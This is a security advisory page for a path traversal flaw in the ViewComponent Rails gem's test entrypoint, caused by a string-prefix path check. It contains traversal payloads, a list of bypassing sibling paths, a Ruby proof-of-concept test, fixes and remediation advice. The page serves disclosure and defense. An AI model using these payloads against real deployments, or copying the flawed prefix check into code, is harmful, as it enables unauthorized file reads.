Severity by source
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
The system test entrypoint canonicalizes a user-controlled file path with File.realpath, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix.
Severity: Medium; test-route scoped.
Example:
Allowed base: /app/tmp/view_components
Outside path: /app/tmp/view_components_evil/secret.html.erbThe outside path is not inside the base directory, but it passes:
@path.start_with?(base_path)Relevant Code
app/controllers/view_components_system_test_controller.rb:
base_path = ::File.realpath(self.class.temp_dir)
@path = ::File.realpath(params.permit(:file)[:file], base_path)
raise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path)The route then renders the resolved file:
render file: @pathExploit Flow
Example request:
GET /_system_test_entrypoint?file=../view_components_evil/secret.html.erbFlow:
base_pathresolves to.../tmp/view_components.- The payload resolves to
.../tmp/view_components_evil/secret.html.erb. - That path is outside the intended temp directory.
- The string prefix check still passes.
- Rails renders the sibling file.
The route is mounted only in Rails.env.test?, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment.
Targeted Fuzz Result
The following sibling paths passed an equivalent realpath plus start_with? harness while resolving outside the base directory:
../view_components_evil/secret.html
../view_components2/poc.html
../view_components.bak/poc.html
../view_components-old/poc.html
../view_componentsx/poc.htmlPoC Test
Create test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb:
# frozen_string_literal: true
require "test_helper"
require "fileutils"
class SystemTestEntrypointPathTraversalPocTest < ActionDispatch::IntegrationTest
def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix
base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir)
parent_dir = File.dirname(base_dir)
sibling_dir = File.join(parent_dir, "#{File.basename(base_dir)}_evil")
outside_file = File.join(sibling_dir, "secret.html.erb")
FileUtils.mkdir_p(sibling_dir)
File.write(outside_file, "<div>VC_SYSTEM_TEST_TRAVERSAL_POC</div>")
get "/_system_test_entrypoint", params: {
file: "../#{File.basename(base_dir)}_evil/secret.html.erb"
}
assert_response :success
assert_includes response.body, "VC_SYSTEM_TEST_TRAVERSAL_POC"
ensure
FileUtils.rm_f(outside_file) if defined?(outside_file) && outside_file
Dir.rmdir(sibling_dir) if defined?(sibling_dir) && sibling_dir && Dir.exist?(sibling_dir)
end
endRun:
bundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rbVulnerable behavior: the response succeeds and contains VC_SYSTEM_TEST_TRAVERSAL_POC.
Fixed behavior: the request raises ViewComponent::SystemTestControllerNefariousPathError or otherwise fails without rendering the file.
Suggested Fix
Use path-aware containment instead of a raw string prefix. For example:
def validate_file_path
base_path = Pathname.new(::File.realpath(self.class.temp_dir))
path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s))
relative_path = path.relative_path_from(base_path)
raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == ".."
@path = path.to_s
endOr require a separator boundary:
allowed_prefix = "#{base_path}#{File::SEPARATOR}"
unless @path == base_path || @path.start_with?(allowed_prefix)
raise ViewComponent::SystemTestControllerNefariousPathError
endAdd regression tests for:
- A normal temp file inside
tmp/view_components ../../README.md../view_components_evil/secret.html.erb- A symlink inside the temp directory that resolves outside it
AnalysisAI
Path traversal in ViewComponent system test entrypoint allows local attackers to read arbitrary files outside the intended temp directory by exploiting a flawed string-prefix containment check. The vulnerability affects ViewComponent 3.0.0 through 4.8.x running in Rails test mode; a request with a crafted file parameter containing a sibling directory name (e.g., ../view_components_evil/secret.html.erb) bypasses validation because /app/tmp/view_components_evil/secret.html.erb passes a start_with? check against /app/tmp/view_components. This is limited to test environments (Rails.env.test?) but poses risk in shared CI systems, staging, or review apps where test mode is accidentally exposed. Public proof-of-concept code is available.
Technical ContextAI
ViewComponent is a Ruby gem providing component-based view architecture for Rails. The vulnerability exists in the system test entrypoint controller, which uses Ruby's File.realpath() to canonicalize user-supplied file paths and then validates containment using a naive string prefix check (@path.start_with?(base_path)). This pattern fails to enforce directory boundary semantics because file path strings can share common prefixes without representing parent-child directory relationships-for example, /app/tmp/view_components and /app/tmp/view_components_evil share the prefix /app/tmp/view_components but are sibling directories, not nested. The root cause (CWE-22: Improper Limitation of a Pathname to a Restricted Directory) is a logic error in path containment validation. Exploitation requires the Rails test environment to be active and the /_system_test_entrypoint route to be accessible, which is normally only mounted during Rails.env.test? but may be exposed in shared CI environments, staging deployments, or misconfigured review apps.
RemediationAI
Vendor-released patch: upgrade ViewComponent to version 4.9.0 or later immediately. The fix replaces the unsafe string prefix check with path-aware containment validation using Ruby's Pathname class, explicitly verifying that the resolved file path is a descendant of the allowed base directory by checking relative_path_from() or enforcing a directory separator boundary (e.g., allowed_prefix = base_path + File::SEPARATOR). For teams unable to patch immediately, the primary compensating control is to ensure test environments are never exposed to untrusted networks: disable or remove the /_system_test_entrypoint route from production and staging deployments by conditionally mounting it only in isolated local/CI environments with restricted access. Review all Rails deployments currently running ViewComponent 3.0.0-4.8.x for test-mode exposure by checking for active Rails.env.test? routes in non-local environments and audit web server logs for /_system_test_entrypoint requests. If test mode cannot be disabled (e.g., in shared CI), add network-level access controls (firewall, reverse proxy authentication) to block external access to the entrypoint. Note that disabling test routes is the safest mitigation because the vulnerability is fundamental to the design, not a minor logic bug.
Same weakness CWE-22 – Path Traversal
View allSame technique Path Traversal
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-31971
GHSA-hg3h-g7xc-f7vp